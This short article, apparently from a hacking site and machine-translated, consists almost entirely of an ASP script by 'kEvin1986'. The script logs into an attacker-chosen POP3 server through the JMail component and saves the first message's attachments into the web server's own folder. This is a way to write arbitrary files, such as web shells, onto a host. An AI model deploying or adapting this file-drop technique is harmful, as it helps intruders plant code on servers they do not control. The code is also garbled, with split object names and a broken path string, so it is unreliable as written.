Use Jmail to write files to the hard disk

Author: kEvin1986
Nature of the article: original
Release date:
 

<%
'Codz by kEvin1986
User = Request. Form ("User ")
Pass = Request. Form ("Pass ")
Popserver = Request. Form ("Popserver ")
If User <> "" and Pass <> "" and Popserver <> "" then
Set objmail = CreateObject ("JMail. POP3 ")
Objmail. Connect User, Pass, Popserver
Set objmsg = CreateObject ("jmail. message ")
Set objmsg = objmail. Messages. item (1)
Separator = ","
Response. write "Attachment Name is:" & SaveAtta & "<br>"
Objmail. Disconnect
End if
Function SaveAtta ()
Set Attachments = objmsg. Attachments
Separator = ","
Response. write "The size of this Attachment is:" & objmsg. size & "<br>"
For I = 0 To Attachments. Count-1
If I = Attachments. Count-1 Then
Separator = ""
End If
Set Theatta = Attachments (I)
Response. write Theatta. name
Theatta. SaveToFile (Server. Mappath (".") & "& Theatta. name)
Response. write "Oh! Hey Guy... That's OK! "
Next
End Function
%>